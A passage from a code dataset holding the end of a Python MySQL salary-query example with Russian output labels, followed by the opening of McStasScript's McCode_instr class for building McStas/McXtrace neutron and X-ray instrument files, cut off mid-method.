self.my_cursor.execute(\"SELECT \"\n \"JobTitle, \"\n \"AVG(BasePay) AS AvgBasePay, \"\n \"AVG(OvertimePay) AS AvgOvertimePay, \"\n \"AVG(OtherPay) AS AvgOtherPay, \"\n \"AVG(Benefits) AS AvgBenefits, \"\n \"AVG(TotalPay) AS AvgTotalPay, \"\n \"AVG(TotalPayBenefits) AS AvgTotalPayBenefits \"\n \"FROM Salaries \"\n \"GROUP BY JobTitle \"\n \"ORDER BY AvgTotalPay DESC\")\n\n field_names = [i[0] for i in self.my_cursor.description]\n return field_names, self.my_cursor.fetchall()\n\n @staticmethod\n def print_result(title, field_names, result):\n print('\\n', ('*' * 50).center(100), '\\n')\n print(title + ': ', '\\n')\n print(field_names)\n for x in result:\n print(x)\n\n\ndef main():\n my_db = MyDB()\n\n select_all_from_salaries_field_names, select_all_from_salaries = my_db.get_select_all_from_table()\n my_db.print_result(title='Список всех записей',\n field_names=select_all_from_salaries_field_names,\n result=select_all_from_salaries)\n\n unique_job_title_number_field_names, unique_job_title_number = my_db.unique_job_title_number()\n my_db.print_result(title='Количество уникальных дожностей',\n field_names=unique_job_title_number_field_names,\n result=unique_job_title_number)\n\n unique_job_titles_field_names, unique_job_titles = my_db.get_unique_job_titles()\n my_db.print_result(title='Список уникальных дожностей',\n field_names=unique_job_titles_field_names,\n result=unique_job_titles)\n\n people_with_max_total_pay_field_names, people_with_max_total_pay = my_db.get_n_people_with_max_total_pay(n=15)\n my_db.print_result(title='Список людей с самым большим доходом',\n field_names=people_with_max_total_pay_field_names,\n result=people_with_max_total_pay)\n\n max_base_pay_field_names, max_base_pay = my_db.get_max_base_pay()\n my_db.print_result(title='Максимальный базовый доход',\n field_names=max_base_pay_field_names,\n result=max_base_pay)\n\n job_title_number_with_firefighter_field_names, job_title_number_with_firefighter = my_db.get_job_title_number_with_word(word='firefighter')\n my_db.print_result(title='Количество должностей содержащих слово firefighter',\n field_names=job_title_number_with_firefighter_field_names,\n result=job_title_number_with_firefighter)\n\n unique_employee_name_number_field_names, unique_employee_name_number = my_db.get_unique_employee_name_number()\n my_db.print_result(title='Количество уникальных работников',\n field_names=unique_employee_name_number_field_names,\n result=unique_employee_name_number)\n\n most_popular_job_titles_field_names, most_popular_job_titles = my_db.get_n_most_popular_job_titles(10)\n my_db.print_result(title='Список самых популярных профессий',\n field_names=most_popular_job_titles_field_names,\n result=most_popular_job_titles)\n\n job_titles_with_police_field_names, job_titles_with_police = my_db.get_job_titles_with_word(word='police')\n my_db.print_result(title='Список должностей содержащих слово police и количество человек с этими должностями',\n field_names=job_titles_with_police_field_names,\n result=job_titles_with_police)\n\n employee_number_by_years_field_names, employee_number_by_years = my_db.get_employee_number_by_years()\n my_db.print_result(title='Список лет и количество людей зарегистрированных в этот год',\n field_names=employee_number_by_years_field_names,\n result=employee_number_by_years)\n\n job_title_avg_payments_field_names, job_title_avg_payments = my_db.get_job_title_avg_payments()\n my_db.print_result(title='Список профессий и средний доход для них',\n field_names=job_title_avg_payments_field_names,\n result=job_title_avg_payments)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"topic_16_mySQL/examples/sql_select.py","file_name":"sql_select.py","file_ext":"py","file_size_in_byte":12191,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"577382937","text":"from __future__ import print_function\n\nimport os\nimport datetime\nimport yaml\nimport subprocess\nimport copy\n\nfrom mcstasscript.helper.mcstas_objects import DeclareVariable\nfrom mcstasscript.helper.mcstas_objects import ParameterVariable\nfrom mcstasscript.helper.mcstas_objects import Component\nfrom mcstasscript.helper.component_reader import ComponentReader\nfrom mcstasscript.helper.managed_mcrun import ManagedMcrun\nfrom mcstasscript.helper.formatting import is_legal_filename\nfrom mcstasscript.helper.formatting import bcolors\nfrom mcstasscript.jb_interface.simulation_interface import SimInterface\n\n\nclass McCode_instr:\n \"\"\"\n Main class for writing a McCode instrument using McStasScript\n\n Initialization of McCode_instr sets the name of the instrument file\n and its methods are used to add all aspects of the instrument file.\n The class also holds methods for writing the finished instrument\n file to disk and to run the simulation. This is meant as a base class\n that McStas_instr and McXtrace_instr inherits from, these have to provide\n some attributes.\n\n Required attributes in superclass\n ---------------------------------\n executable : str\n Name of executable, mcrun or mxrun\n\n particle : str\n Name of probe particle, \"neutron\" or \"x-ray\"\n\n package_name : str\n Name of package, \"McStas\" or \"McXtrace\"\n\n Attributes\n ----------\n name : str\n name of instrument file\n\n author : str, default \"Python Instrument Generator\"\n name of user of McStasScript, written to the file\n\n origin : str, default \"ESS DMSC\"\n origin of instrument file (affiliation)\n\n input_path : str, default \".\"\n directory in which simulation is executed, uses components found there\n\n executable_path : str\n absolute path of mcrun command, or empty if it is in path\n\n parameter_list : list of ParameterVariable instances\n contains all input parameters to be written to file\n\n declare_list : list of DeclareVariable instances\n contains all declare parrameters to be written to file\n\n initialize_section : str\n string containing entire initialize section to be written\n\n trace_section : str\n string containing trace section (OBSOLETE)\n\n finally_section : str\n string containing entire finally section to be written\n\n component_list : list of component instances\n list of components in the instrument\n\n component_name_list : list of strings\n list of names of the components in the instrument\n\n component_class_lib : dict\n dict of custom Component classes made at run time\n\n component_reader : ComponentReader\n ComponentReader instance for reading component files\n\n package_path : str\n Path to mccode package containing component folders\n\n Methods\n -------\n add_parameter(*args, **kwargs)\n Adds input parameter to the define section\n\n add_declare_var(type, name)\n Add declared variable called name of given type to the declare section\n\n append_declare(string)\n Appends to the declare section\n\n append_initialize(string)\n Appends a string to the initialize section, then adds new line\n\n append_initialize_no_new_line(string)\n Appends a string to the initialize section\n\n append_finally(string)\n Appends a string to finally section, then adds new line\n\n append_finally_no_new_line(string)\n Appends a string to finally section\n\n append_trace(string)\n Obsolete method, add components instead (used in write_c_files)\n\n append_trace_no_new_line(string)\n Obsolete method, add components instead (used in write_c_files)\n\n show_components(string)\n Shows available components in given category\n\n component_help(name)\n Shows help on component of given name\n\n add_component(instance_name, component_name, **kwargs)\n Add a component to the instrument file\n\n copy_component(new_component_name, original_component, **kwargs)\n Makes a copy of original_component with new_component_name\n\n get_component(instance_name)\n Returns component instance with name instance_name\n\n get_last_component()\n Returns component instance of last component\n\n set_component_parameter(instance_name, dict)\n Adds parameters as dict to component with instance_name\n\n set_component_AT(instance_name, AT_data, **kwargs)\n Sets position of component named instance_name\n\n set_component_ROTATED(instance_name, ROTATED_data, **kwargs)\n Sets rotation of component named instance_name\n\n set_component_RELATIVE(instane_name, string)\n Sets position and rotation reference for named component\n\n set_component_WHEN(instance_name, string)\n Sets WHEN condition of named component, is logical c expression\n\n set_component_GROUP(instance_name, string)\n Sets GROUP name of component named instance_name\n\n append_component_EXTEND(instance_name, string)\n Appends a line to EXTEND section of named component\n\n set_component_JUMP(instance_name, string)\n Sets JUMP code for named component\n\n set_component_SPLIT(instance_name, string)\n Sets SPLIT value for named component\n\n set_component_c_code_before(instance_name, string)\n Sets c code before the component\n\n set_component_c_code_after(instance_name, string)\n Sets c code after the component\n\n set_component_comment(instance_name, string)\n Sets comment to be written before named component\n\n print_component(instance_name)\n Prints an overview of current state of named component\n\n print_component_short(instance_name)\n Prints short overview of current state of named component\n\n print_components()\n Prints overview of postion / rotation of all components\n\n write_c_files()\n Writes c files for %include in generated_includes folder\n\n write_full_instrument()\n Writes full instrument file to current directory\n\n show_instrument()\n Shows instrument using mcdisplay\n\n run_full_instrument(**kwargs)\n Writes instrument files and runs simulation.\n Returns list of McStasData\n\n interface()\n Shows interface with jupyter notebook widgets\n \"\"\"\n\n def __init__(self, name, **kwargs):\n \"\"\"\n Initialization of McStas Instrument\n\n Parameters\n ----------\n name : str\n Name of project, instrument file will be name + \".instr\"\n\n keyword arguments:\n author : str\n Name of author, written in instrument file\n\n origin : str\n Affiliation of author, written in instrument file\n\n executable_path : str\n Absolute path of mcrun or empty if already in path\n\n input_path : str\n Work directory, will load components from this folder\n \"\"\"\n\n # Check required attributes has been set by class that inherits\n if not (hasattr(self, \"particle\") or\n hasattr(self, \"executable\") or\n hasattr(self, \"package_name\")):\n raise AttributeError(\"McCode_instr is a base class, use \"\n + \"McStas_intr or McXtrace_instr instead.\")\n\n self.name = name\n\n if not is_legal_filename(self.name + \".instr\"):\n raise NameError(\"The instrument is called: \\\"\"\n + self.name\n + \"\\\" resulting in an instrument file named: \\\"\"\n + self.name + \".instr\"\n + \"\\\" which is not a legal filename\")\n\n if \"author\" in kwargs:\n self.author = str(kwargs[\"author\"])\n else:\n self.author = \"Python \" + self.package_name\n self.author += \" Instrument Generator\"\n\n if \"origin\" in kwargs:\n self.origin = str(kwargs[\"origin\"])\n else:\n self.origin = \"ESS DMSC\"\n\n if \"input_path\" in kwargs:\n self.input_path = str(kwargs[\"input_path\"])\n if not os.path.isdir(self.input_path):\n raise RuntimeError(\"Given input_path does not point to a \"\n + \"folder:\\\"\" + self.input_path + '\"')\n else:\n self.input_path = \".\"\n\n self._read_calibration()\n\n if \"executable_path\" in kwargs:\n self.executable_path = str(kwargs[\"executable_path\"])\n if not os.path.isdir(self.executable_path):\n raise RuntimeError(\"Given executable_path does not point to \"\n + \"a folder:\\\"\" + self.executable_path\n + '\"')\n\n if \"package_path\" in kwargs:\n self.package_path = str(kwargs[\"package_path\"])\n if not os.path.isdir(self.package_path):\n raise RuntimeError(\"Given package_path does not point to \"\n + \"a folder:\\\"\" + self.package_path + '\"')\n\n elif self.package_path == \"\":\n raise NameError(\"At this stage of development \"\n + \"McStasScript need the absolute path \"\n + \"for the \" + self.package_name +\n + \" installation as keyword named \"\n + \"package_path or in configuration.yaml\")\n\n self.parameter_list = []\n self.declare_list = []\n self.initialize_section = (\"// Start of initialize for generated \"\n + name + \"\\n\")\n self.trace_section = (\"// Start of trace section for generated \"\n + name + \"\\n\")\n self.finally_section = (\"// Start of finally for generated \"\n + name + \"\\n\")\n # Handle components\n self.component_list = [] # List of components (have to be ordered)\n self.component_name_list = [] # List of component names\n\n # Read info on active McStas components\n self.component_reader = ComponentReader(self.package_path,\n input_path=self.input_path)\n self.component_class_lib = {}\n\n self.widget_interface = None\n\n def _read_calibration(self):\n \"\"\"\n Place holder method that should be overwritten by classes\n that inherit from McCode_instr.\n \"\"\"\n pass\n\n def add_parameter(self, *args, **kwargs):\n \"\"\"\n Method for adding input parameter to instrument\n\n Type does not need to be specified, McStas considers that a floating\n point value with the type double.\n\n Examples\n --------\n Creates a parameter with name wavelength and associated comment\n add_parameter(\"wavelength\", comment=\"wavelength in [AA]\")\n\n Creates a parameter with name A3 and default value\n add_parameter(\"A3\", value=30, comment=\"A3 angle in [deg]\")\n\n Creates a parameter with type string and name sample_name\n add_parameter(\"string\", \"sample_name\")\n\n Parameters\n ----------\n\n (optional) parameter type : str\n type of input parameter, double, int, string\n\n parameter name : str\n name of parameter\n\n keyword arguments\n value : any\n Default value of parameter\n\n comment : str\n Comment displayed next to declaration of parameter\n \"\"\"\n # ParameterVariable class documented independently\n self.parameter_list.append(ParameterVariable(*args, **kwargs))\n\n def show_parameters(self, **kwargs):\n \"\"\"\n Method for displaying current instrument parameters\n\n keyword arguments\n line_length : int\n Maximum line length for terminal output\n \"\"\"\n if \"line_length\" in kwargs:\n line_limit = kwargs[\"line_length\"]\n else:\n line_limit = self.line_limit\n\n if len(self.parameter_list) == 0:\n print(\"No instrument parameters available\")\n return\n\n # Find longest fields\n types = []\n names = []\n values = []\n comments = []\n for parameter in self.parameter_list:\n types.append(str(parameter.type))\n names.append(str(parameter.name))\n values.append(str(parameter.value))\n comments.append(str(parameter.comment))\n\n longest_type = len(max(types, key=len))\n longest_name = len(max(names, key=len))\n longest_value = len(max(values, key=len))\n # In addition to the data 11 characters are added before the comment\n comment_start_point = longest_type + longest_name + longest_value + 11\n longest_comment = len(max(comments, key=len))\n length_for_comment = line_limit - comment_start_point\n\n # Print to console\n for parameter in self.parameter_list:\n print(str(parameter.type).ljust(longest_type), end=' ')\n print(str(parameter.name).ljust(longest_name), end=' ')\n if parameter.value == \"\":\n print(\" \", end=' ')\n else:\n print(\" = \", end=' ')\n print(str(parameter.value).ljust(longest_value+1), end=' ')\n if (length_for_comment < 5\n or length_for_comment > len(str(parameter.comment))):\n print(str(parameter.comment))\n else:\n # Split comment into several lines\n comment = str(parameter.comment)\n words = comment.split(\" \")\n words_left = len(words)\n last_index = 0\n current_index = 0\n comment = \"\"\n iterations = 0\n max_iterations = 50\n while(words_left > 0):\n iterations += 1\n if iterations > max_iterations:\n # Something went long, print on one line\n break\n\n line_left = length_for_comment\n\n while(line_left > 0):\n if current_index >= len(words):\n current_index = len(words) + 1\n break\n line_left -= len(str(words[current_index])) + 1\n current_index += 1\n\n current_index -= 1\n for word in words[last_index:current_index]:\n comment += word + \" \"\n words_left = len(words) - current_index\n if words_left > 0:\n comment += \"\\n\" + \" \"*comment_start_point\n last_index = current_index\n\n if not iterations == max_iterations + 1:\n print(comment)\n else:\n print(str(parameter.comment).ljust(longest_comment))\n\n def add_declare_var(self, *args, **kwargs):\n \"\"\"\n Method for adding declared variable to instrument\n\n Parameters\n ----------\n\n parameter type : str\n type of input parameter\n\n parameter name : str\n name of parameter\n\n keyword arguments\n array : int\n default 0 for scalar, if specified length of array\n\n value : any\n Initial value of parameter, can be list of length vector\n\n comment : str\n Comment displayed next to declaration of parameter\n\n \"\"\"\n\n # DeclareVariable class documented independently\n self.declare_list.append(DeclareVariable(*args, **kwargs))\n\n def append_declare(self, string):\n \"\"\"\n Method for appending code to the declare section directly\n\n This method is not meant for declaring simple variables which\n should be done using add_declare_var. This method can be used\n to declare functions, structures and unions directly.\n\n Parameters\n ----------\n string : str\n code to be added to declare section\n \"\"\"\n\n self.declare_list.append(string)\n\n def append_initialize(self, string):\n \"\"\"\n Method for appending code to the initialize section\n\n The initialize section consists of c code and will be compiled,\n thus any syntax errors will crash the simulation. Code is added\n on a new line for each call to this method.\n\n Parameters\n ----------\n string : str\n code to be added to initialize section\n \"\"\"\n\n self.initialize_section = self.initialize_section + string + \"\\n\"\n\n def append_initialize_no_new_line(self, string):\n \"\"\"\n Method for appending code to the initialize section, no new line\n\n The initialize section consists of c code and will be compiled,\n thus any syntax errors will crash the simulation. Code is added\n to the current line.\n\n Parameters\n ----------\n string : str\n code to be added to initialize section\n \"\"\"\n\n self.initialize_section = self.initialize_section + string\n\n def append_finally(self, string):\n \"\"\"\n Method for appending code to the finally section of instrument\n\n The finally section consists of c code and will be compiled,\n thus any syntax errors will crash the simulation. Code is added\n on a new line for each call to this method.\n\n Parameters\n ----------\n string : str\n code to be added to finally section\n\n \"\"\"\n\n self.finally_section = self.finally_section + string + \"\\n\"\n\n def append_finally_no_new_line(self, string):\n \"\"\"\n Method for appending code to the finally section of instrument\n\n The finally section consists of c code and will be compiled,\n thus any syntax errors will crash the simulation. Code is added\n to the current line.\n\n Parameters\n ----------\n string : str\n code to be added to finally section\n \"\"\"\n\n self.finally_section = self.finally_section + string\n\n \"\"\"\n # Handle trace string differently when components also exists\n # A) Coul d have trace string as a component attribute and set\n # it before / after\n # B) Could have trace string as a McStas_instr attribute and\n # still attach placement to components\n # C) Could have trace string as a different object and place it\n # in component_list, but have a write function named as the\n # component write function?\n \"\"\"\n\n def append_trace(self, string):\n \"\"\"\n Appends code to trace section, only used in write_c_files\n\n The most common way to add code to the trace section is to add\n components using the seperate methods for this. This method is\n kept as is still used for writing to c files used in legacy\n code. Each call creates a new line.\n\n Parameters\n ----------\n string : str\n code to be added to trace\n \"\"\"\n\n self.trace_section = self.trace_section + string + \"\\n\"\n\n def append_trace_no_new_line(self, string):\n \"\"\"\n Appends code to trace section, only used in write_c_files\n\n The most common way to add code to the trace section is to add\n components using the seperate methods for this. This method is\n kept as is still used for writing to c files used in legacy\n code. No new line is made with this call.\n\n Parameters\n ----------\n string : str\n code to be added to trace\n \"\"\"\n\n self.trace_section = self.trace_section + string\n\n def show_components(self, *args):\n \"\"\"\n Helper method that shows available components to the user\n\n If called without any arguments it will display the available\n component categories. If a category is given as a string in\n the first input, components in that category are printed.\n\n Parameters\n ----------\n first argument (optional): str\n Category that matches one of the McStas component folders\n\n \"\"\"\n if len(args) == 0:\n print(\"Here are the available component categories:\")\n self.component_reader.show_categories()\n print(\"Call show_components(category_name) to display\")\n\n else:\n category = args[0]\n print(\"Here are all components in the \"\n + category\n + \" category.\")\n this_reader = self.component_reader\n line_lim = self.line_limit\n this_reader.show_components_in_category(category,\n line_length=line_lim)\n\n def component_help(self, name, **kwargs):\n \"\"\"\n Method for showing parameters for a component before adding it\n to the instrument\n\n keyword arguments\n line_length : int\n Maximum line length in output to terminal\n \"\"\"\n\n dummy_instance = self._create_component_instance(\"dummy\", name)\n dummy_instance.show_parameters(**kwargs)\n\n def _create_component_instance(self, name, component_name, **kwargs):\n \"\"\"\n Dynamically creates a class for the requested component type\n\n Created classes kept in dictionary, if the same component type\n is requested again, the class in the dictionary is used. The\n method returns an instance of the created class that was\n initialized with the parameters passed to this function.\n \"\"\"\n\n if component_name not in self.component_class_lib:\n comp_info = self.component_reader.read_name(component_name)\n\n input_dict = {}\n input_dict = {key: None for key in comp_info.parameter_names}\n input_dict[\"parameter_names\"] = comp_info.parameter_names\n input_dict[\"parameter_defaults\"] = comp_info.parameter_defaults\n input_dict[\"parameter_types\"] = comp_info.parameter_types\n input_dict[\"parameter_units\"] = comp_info.parameter_units\n input_dict[\"parameter_comments\"] = comp_info.parameter_comments\n input_dict[\"category\"] = comp_info.category\n input_dict[\"line_limit\"] = self.line_limit\n\n self.component_class_lib[component_name] = type(component_name,\n (Component,),\n input_dict)\n\n return self.component_class_lib[component_name](name, component_name,\n **kwargs)\n\n def add_component(self, name, component_name, **kwargs):\n \"\"\"\n Method for adding a new Component instance to the instrument\n\n Creates a new Component instance in the instrument. This\n requires a unique instance name of the component to be used for\n future reference and the name of the McStas component to be\n used. The component is placed at the end of the instrument file\n unless otherwise specified with the after and before keywords.\n The Component may be initialized using other keyword arguments,\n but all attributes can be set with approrpiate methods.\n\n Parameters\n ----------\n name : str\n Unique name of component instance\n\n component_name : str\n Name of McStas component to create instance of\n\n Keyword arguments:\n after : str\n Place this component after component with given name\n\n before : str\n Place this component before component with given name\n\n AT : List of 3 floats\n Sets AT_data, position relative to reference\n\n AT_RELATIVE : str\n Sets reference component for postion\n\n ROTATED : List of 3 floats\n Sets ROTATED_data, rotation relative to reference\n\n ROTATED_RELATIVE : str\n Sets reference component for rotation\n\n RELATIVE : str\n Sets reference component for both position and rotation\n\n WHEN : str\n Sets when condition which must be a logical c expression\n\n EXTEND : str\n Initialize the extend section with a line of c code\n\n GROUP : str\n Name of the group this component should belong to\n\n JUMP : str\n Set code for McStas JUMP statement\n\n comment : str\n Comment that will be displayed before the component\n \"\"\"\n\n if name in self.component_name_list:\n raise NameError((\"Component name \\\"\" + str(name)\n + \"\\\" used twice, \" + self.package_name\n + \" does not allow this.\"\n + \" Rename or remove one instance of this\"\n + \" name.\"))\n\n # Insert component after component with this name\n if \"after\" in kwargs:\n if kwargs[\"after\"] not in self.component_name_list:\n raise NameError((\"Trying to add a component after a component\"\n + \" named \\\"\" + str(kwargs[\"after\"])\n + \"\\\", but a component with that name was\"\n + \" not found.\"))\n\n new_index = self.component_name_list.index(kwargs[\"after\"])\n\n new_component = self._create_component_instance(name,\n component_name,\n **kwargs)\n self.component_list.insert(new_index + 1, new_component)\n\n self.component_name_list.insert(new_index+1, name)\n\n # Insert component after component with this name\n elif \"before\" in kwargs:\n if kwargs[\"before\"] not in self.component_name_list:\n raise NameError((\"Trying to add a component before a \"\n + \"component named \\\"\"\n + str(kwargs[\"before\"])\n + \"\\\", but a component with that \"\n + \"name was not found.\"))\n\n new_index = self.component_name_list.index(kwargs[\"before\"])\n\n new_component = self._create_component_instance(name,\n component_name,\n **kwargs)\n self.component_list.insert(new_index, new_component)\n\n self.component_name_list.insert(new_index, name)\n\n # If after or before keywords absent, place component at the end\n else:\n new_component = self._create_component_instance(name,\n component_name,\n **kwargs)\n self.component_list.append(new_component)\n self.component_name_list.append(name)\n\n return new_component\n\n def copy_component(self, name, original_component, **kwargs):\n \"\"\"\n Method for adding a copy of a Component instance to the instrument\n\n Creates a copy of Component instance in the instrument. This\n requires a unique instance name of the component to be used for\n future reference and the name of the McStas component to be\n used. The component is placed at the end of the instrument file\n unless otherwise specified with the after and before keywords.\n The component may be initialized using other keyword arguments,\n but all attributes can be set with approrpiate methods.\n\n Parameters\n ----------\n name : str\n Unique name of component instance\n\n original_component : str\n Name of component instance to create copy of\n\n Keyword arguments:\n after : str\n Place this component after component with given name\n\n before : str\n Place this component before component with given name\n\n AT : List of 3 floats\n Sets AT_data, position relative to reference\n\n AT_RELATIVE : str\n Sets reference component for postion\n\n ROTATED : List of 3 floats\n Sets ROTATED_data, rotation relative to reference\n\n ROTATED_RELATIVE : str\n Sets reference component for rotation\n\n RELATIVE : str\n Sets reference component for both position and rotation\n\n WHEN : str\n Sets when condition which must be a logical c expression\n\n EXTEND : str\n Initialize the extend section with a line of c code\n\n GROUP : str\n Name of the group this component should belong to\n\n JUMP : str\n Set code for McStas JUMP statement\n\n comment : str\n Comment that will be displayed before the component\n \"\"\"\n if isinstance(original_component, Component):\n original_component = original_component.name\n \"\"\"\n If the name starts with COPY, use unique naming as described in the\n McStas manual.\n \"\"\"\n if name.startswith(\"COPY(\"):\n target_name = name.split(\"(\", 1)[1]\n target_name = target_name.split(\")\", 1)[0]\n instance_name = target_name\n\n label = 0\n instance_name = target_name + \"_\" + str(label)\n while instance_name in self.component_name_list:\n instance_name = target_name + \"_\" + str(label)\n label += 1\n\n if name in self.component_name_list:\n raise NameError((\"Component name \\\"\" + str(name)\n + \"\\\" used twice, \" + self.package_name\n + \" does not allow this.\"\n + \" Rename or remove one instance of this\"\n + \" name.\"))\n\n if original_component not in self.component_name_list:\n raise NameError(\"Component name \\\"\" + str(original_component)\n + \"\\\" was not found in the \" + self.package_name\n + \" instrument. and thus can not be copied.\")\n else:\n component_to_copy = self.get_component(original_component)\n\n # Insert component after component with this name\n if \"after\" in kwargs:\n if kwargs[\"after\"] not in self.component_name_list:\n raise NameError(\"Trying to add a component after a component\"\n + \" named \\\"\" + str(kwargs[\"after\"])\n + \"\\\", but a component with that name was\"\n + \" not found.\")\n\n new_index = self.component_name_list.index(kwargs[\"after\"])\n\n new_component = copy.deepcopy(component_to_copy)\n new_component.name = name\n self.component_list.insert(new_index+1, new_component)\n\n self.component_name_list.insert(new_index+1, name)\n\n # Insert component after component with this name\n elif \"before\" in kwargs:\n if kwargs[\"before\"] not in self.component_name_list:\n raise NameError((\"Trying to add a component before a \"\n + \"component named \\\"\"\n + str(kwargs[\"before\"])\n + \"\\\", but a component with that \"\n + \"name was not found.\"))\n\n new_index = self.component_name_list.index(kwargs[\"before\"])\n\n new_component = copy.deepcopy(component_to_copy)\n new_component.name = name\n self.component_list.insert(new_index, new_component)\n\n self.component_name_list.insert(new_index, name)\n\n # If after or before keywords absent, place component at the end\n else:\n new_component = copy.deepcopy(component_to_copy)\n new_component.name = name\n self.component_list.append(new_component)\n self.component_name_list.append(name)\n\n # Set the new name of the instance\n new_component.name = name\n # Run set_keyword_input again for keyword arguments to take effect\n new_component.set_keyword_input(**kwargs)\n\n return new_component\n\n def get_component(self, name):\n \"\"\"\n Get the component instance of component with specified name\n\n This method is used to get direct access to any component\n instance in the instrument. The component instance can be\n manipulated in much the same way, but it is not necessary to\n specify the name in each call.\n\n Parameters\n ----------\n name : str\n Unique name of component whose instance should be returned\n \"\"\"\n\n if name in self.component_name_list:\n index = self.component_name_list.index(name)\n return self.component_list[index]\n else:\n raise NameError((\"No component was found with name \\\"\"\n + str(name) + \"\\\"!\"))\n\n def get_last_component(self):\n \"\"\"\n Get the component instance of last component in the instrument\n\n This method is used to get direct access to any component\n instance in the instrument. The component instance can be\n manipulated in much the same way, but it is not necessary to\n specify the name in each call.\n \"\"\"\n\n return self.component_list[-1]\n\n def set_component_parameter(self, name, input_dict):\n \"\"\"\n Add parameters and their values as dictionary to component\n\n This method is the primary way of specifying parameters in a\n component. Parameters are added to a dictionary specifying\n parameter name and value pairs.\n\n Parameters\n ----------\n name : str\n Unique name of component to modify\n\n input_dict : dict\n Set of new parameter name and value pairs to add\n \"\"\"\n\n component = self.get_component(name)\n component.set_parameters(input_dict)\n\n def set_component_AT(self, name, at_list, **kwargs):\n \"\"\"\n Method for setting position of component\n\n Parameters\n ----------\n name : str\n Unique name of component to modify\n\n at_list : List of 3 floats\n Position of component relative to reference component\n\n keyword arguments:\n RELATIVE : str\n Sets reference component for position\n \"\"\"\n\n component = self.get_component(name)\n component.set_AT(at_list, **kwargs)\n\n def set_component_ROTATED(self, name, rotated_list, **kwargs):\n \"\"\"\n Method for setting rotiation of component\n\n Parameters\n ----------\n name : str\n Unique name of component to modify\n\n rotated_list : List of 3 floats\n Rotation of component relative to reference component\n\n keyword arguments:\n RELATIVE : str\n Sets reference component for rotation\n \"\"\"\n\n component = self.get_component(name)\n component.set_ROTATED(rotated_list, **kwargs)\n\n def set_component_RELATIVE(self, name, relative):\n \"\"\"\n Method for setting reference of component position and rotation\n\n Parameters\n ----------\n name : str\n Unique name of component to modify\n\n relative : str\n Reference component for position and rotation\n \"\"\"\n\n component = self.get_component(name)\n component.set_RELATIVE(relative)\n\n def set_component_WHEN(self, name, WHEN):\n \"\"\"\n Method for setting WHEN c expression to named component\n\n Parameters\n ----------\n name : str\n Unique name of component to modify\n\n WHEN : str\n Sets WHEN c expression for named McStas component\n \"\"\"\n component = self.get_component(name)\n component.set_WHEN(WHEN)\n\n def append_component_EXTEND(self, name, EXTEND):\n \"\"\"\n Method for adding line of c to EXTEND section of named component\n\n Parameters\n ----------\n name : str\n Unique name of component to modify\n\n EXTEND : str\n Line of c code added to EXTEND section of named component\n \"\"\"\n\n component = self.get_component(name)\n component.append_EXTEND(EXTEND)\n\n def set_component_GROUP(self, name, GROUP):\n \"\"\"\n Method for setting GROUP name of named component\n\n Parameters\n ----------\n name : str\n Unique name of component to modify\n\n GROUP : str\n Sets GROUP name for named McStas component\n \"\"\"\n\n component = self.get_component(name)\n component.set_GROUP(GROUP)\n\n def set_component_JUMP(self, name, JUMP):\n \"\"\"\n Method for setting JUMP expression of named component\n\n Parameters\n ----------\n name : str\n Unique name of component to modify\n\n JUMP : str\n Sets JUMP expression for named McStas component\n \"\"\"\n\n component = self.get_component(name)\n component.set_JUMP(JUMP)\n\n def set_component_SPLIT(self, name, SPLIT):\n \"\"\"\n Method for setting SPLIT value of named component\n\n Parameters\n ----------\n name : str\n Unique name of component to modify\n\n SPLIT : int\n Sets SPLIT value for named McStas component\n \"\"\"\n\n component = self.get_component(name)\n component.set_SPLIT(SPLIT)\n\n def set_component_c_code_before(self, name, code):\n \"\"\"\n Method for setting c code before component\n\n Parameters\n ----------\n name : str\n Unique name of component to modify\n\n code : str\n Code to be pasted before component\n \"\"\"\n\n component = self.get_component(name)\n component.set_c_code_before(code)\n\n def set_component_c_code_after(self, name, code):\n \"\"\"\n Method for setting c code before component\n\n Parameters\n ----------\n name : str\n Unique name of component to modify\n\n code : str\n Code to be pasted after component\n \"\"\"\n\n component = self.get_component(name)\n component.set_c_code_after(code)\n\n def set_component_comment(self, name, string):\n \"\"\"\n Sets a comment displayed before the component in written files\n\n Parameters\n ----------\n name : str\n Unique name of component to modify\n\n string : str\n Comment string\n\n \"\"\"\n\n component = self.get_component(name)\n component.set_comment(string)\n\n def print_component(self, name):\n \"\"\"\n Method for printing summary of contents in named component\n\n Parameters\n ----------\n name : str\n Unique name of component to print\n \"\"\"\n\n component = self.get_component(name)\n component.print_long()\n\n def print_component_short(self, name):\n \"\"\"\n Method for printing summary of contents in named component\n\n Parameters\n ----------\n name : str\n Unique name of component to print\n \"\"\"\n\n component = self.get_component(name)\n component.print_short()\n\n def print_components(self, **kwargs):\n \"\"\"\n Method for printing overview of all components in instrument\n\n Provides overview of component names, what McStas component is\n used for each and their position and rotation in space.\n\n keyword arguments:\n line_length : int\n Maximum line length in console\n \"\"\"\n\n if \"line_length\" in kwargs:\n line_limit = kwargs[\"line_length\"]\n else:\n line_limit = self.line_limit\n\n longest_name = len(max(self.component_name_list, key=len))\n\n # todo Investigate how this could have been done in a better way\n # Find longest field for each type of data printed\n component_type_list = []\n at_xyz_list = []\n at_relative_list = []\n rotated_xyz_list = []\n rotated_relative_list = []\n for component in self.component_list:\n component_type_list.append(component.component_name)\n at_xyz_list.append(str(component.AT_data[0])\n + str(component.AT_data[1])\n + str(component.AT_data[2]))\n at_relative_list.append(component.AT_relative)\n rotated_xyz_list.append(str(component.ROTATED_data[0])\n + str(component.ROTATED_data[1])\n + str(component.ROTATED_data[2]))\n rotated_relative_list.append(component.ROTATED_relative)\n\n longest_component_name = len(max(component_type_list, key=len))\n longest_at_xyz_name = len(max(at_xyz_list, key=len))\n longest_at_relative_name = len(max(at_relative_list, key=len))\n longest_rotated_xyz_name = len(max(rotated_xyz_list, key=len))\n longest_rotated_relative_name = len(max(rotated_relative_list,\n key=len))\n\n # Padding settings, 0,0,6,0,6 is minimum values\n name_pad = 0\n comp_name_pad = 0\n AT_pad = 6 # requires (, , ) in addition to data length\n RELATIVE_pad = 0\n ROTATED_pad = 6 # requires (, , ) in addition to data length\n ROTATED_characters = 7 # ROTATED is 7 characters\n AT_characters = 2 # AT is 2 characters\n SPACING_between_strings = 7 # combining 8 strings, 7 spaces\n\n # Check if longest line length exceeded\n longest_line_length = (longest_name + name_pad\n + longest_component_name + comp_name_pad\n + longest_at_xyz_name + AT_pad\n + longest_at_relative_name + RELATIVE_pad\n + longest_rotated_xyz_name + ROTATED_pad\n + longest_rotated_relative_name\n + ROTATED_characters\n + AT_characters\n + SPACING_between_strings)\n\n def 